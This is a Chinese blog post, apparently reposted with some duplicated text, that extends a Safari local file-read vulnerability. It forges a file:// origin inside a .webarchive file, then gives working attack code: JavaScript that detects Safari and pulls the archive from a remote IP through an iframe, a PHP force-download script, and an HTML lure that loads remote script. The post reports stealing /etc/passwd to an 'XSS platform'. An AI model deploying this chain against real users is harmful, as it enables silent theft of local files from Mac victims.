safari本地文件读取漏洞之扩展攻击面

  • A+
所属分类:颓废's Blog
摘要

这样就可以绕过对文件源的检测。 本地测试一下,成功x到/etc/passwd的内容。

但是在mac下运行的时候会弹出安全提示,而且这个后缀名不是很常见,有没有更好的办法呢?

经过测试发现刚下载好的.webarchive 文件,在safari用file协议直接打开是可以运行的,而且没有安全提示。

于是思路就有了:

构造一个html文件,首先在远程服务器下载webarchive文件,利用js location跳转到该文件,即可执行poc。(有缺点:webarchive文件绝对路径因为用户名的关系不固定,但是如果使用mac一般都是下载到同一个文件里,用相对路径即可)

js文件:
function myBrowser(){ var userAgent = navigator.userAgent; var isOpera = userAgent.indexOf("Opera") > -1; if (isOpera) { return "Opera" }; if (userAgent.indexOf("Firefox") > -1) { return "FF"; } if (userAgent.indexOf("Chrome") > -1){ return "Chrome"; } if (userAgent.indexOf("Safari") > -1) { return "Safari"; } if (userAgent.indexOf("compatible") > -1 && userAgent.indexOf("MSIE") > -1 && !isOpera) { return "IE"; }; } function exp(){ var iframe2 = document.createElement('iframe'); iframe2.src="./test.webarchive"; document.body.appendChild(iframe2); // setTimeout("location.reload()",1000); } var mb = myBrowser(); if (mb == "Safari") { var iframe = document.createElement('iframe'); iframe.src="http://123.206.216.198/down.php"; document.body.appendChild(iframe); setTimeout("exp()",1500); } else { document.write('Please use Safari <img src = "https://ss1.baidu.com/6ONXsjip0QIZ8tyhnq/it/u=592359739,886118147&fm=58"> to open the html file') } down.php

近几日爆出了safari对本地html文件js处理不当,导致可以读取本地文件

https://lab.wallarm.com/hunting-the-files-34caa0c1496

发现漏洞还是比较鸡肋的,因为safari会识别html文件的来源,一般的网络传输都会给加上来源信息,这样safari就不会在xhr使用file读取本地文件。

作者给出了exp以及利用方法:使用u盘等硬媒介传输,或者使用应用层以下的协议传输,比如telegram的文件传输功能。

https://github.com/Bo0oM/Safiler

但是有没有办法抹除或不添加来源信息呢?

1. 可以使用压缩包打包poc文件,这样添加来源头的是压缩文件,而不是内部文件, 就可以直接执行poc。(但是这样显得比较臃肿)

2. 想办法构造与file协议同源。

我们发现其实作者已经提到了一点,但是没有更好的利用到,.webarchive 文件,里面是xml的结构,只能由safari进行解析,其中里面的WebResourceURL属性,safari将其识别为当前资源所使用的协议,也就是我们可以在这里构造file://

这样就可以绕过对文件源的检测。

safari本地文件读取漏洞之扩展攻击面

本地测试一下,成功x到/etc/passwd的内容。

但是在mac下运行的时候会弹出安全提示,而且这个后缀名不是很常见,有没有更好的办法呢?

经过测试发现刚下载好的.webarchive 文件,在safari用file协议直接打开是可以运行的,而且没有安全提示。

于是思路就有了:

构造一个html文件,首先在远程服务器下载webarchive文件,利用js location跳转到该文件,即可执行poc。(有缺点:webarchive文件绝对路径因为用户名的关系不固定,但是如果使用mac一般都是下载到同一个文件里,用相对路径即可)

js文件:

function myBrowser(){     var userAgent = navigator.userAgent;      var isOpera = userAgent.indexOf("Opera") > -1;     if (isOpera) {         return "Opera"     };      if (userAgent.indexOf("Firefox") > -1) {         return "FF";     }      if (userAgent.indexOf("Chrome") > -1){   return "Chrome";  }     if (userAgent.indexOf("Safari") > -1) {         return "Safari";     }      if (userAgent.indexOf("compatible") > -1 && userAgent.indexOf("MSIE") > -1 && !isOpera) {         return "IE";     };  } function exp(){   var iframe2 = document.createElement('iframe');         iframe2.src="./test.webarchive";         document.body.appendChild(iframe2);        // setTimeout("location.reload()",1000);   }   var mb = myBrowser(); if (mb == "Safari") {         var iframe = document.createElement('iframe');          iframe.src="http://123.206.216.198/down.php";           document.body.appendChild(iframe);          setTimeout("exp()",1500);       } else {     document.write('Please use Safari <img src = "https://ss1.baidu.com/6ONXsjip0QIZ8tyhnq/it/u=592359739,886118147&fm=58"> to open the html file') }

down.php

<?php function downfile() {  $filename=realpath("test.webarchive");  $date=date("Ymd-H:i:m");  Header( "Content-type: application/octet-stream ");  Header( "Accept-Ranges: bytes "); Header( "Accept-Length: " .filesize($filename));  header( "Content-Disposition: attachment; filename= test.webarchive");  readfile($filename); } downfile(); ?>

最终的html:

<html>   <body>   <h1>test hahaha</h1> <script src = "http://123.206.216.198/666.js"></script> </body> </html>

safari本地文件读取漏洞之扩展攻击面

用safari打开后

safari本地文件读取漏洞之扩展攻击面

看一下xss平台:

safari本地文件读取漏洞之扩展攻击面

原文地址:www.wupco.cn/?p=4134

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: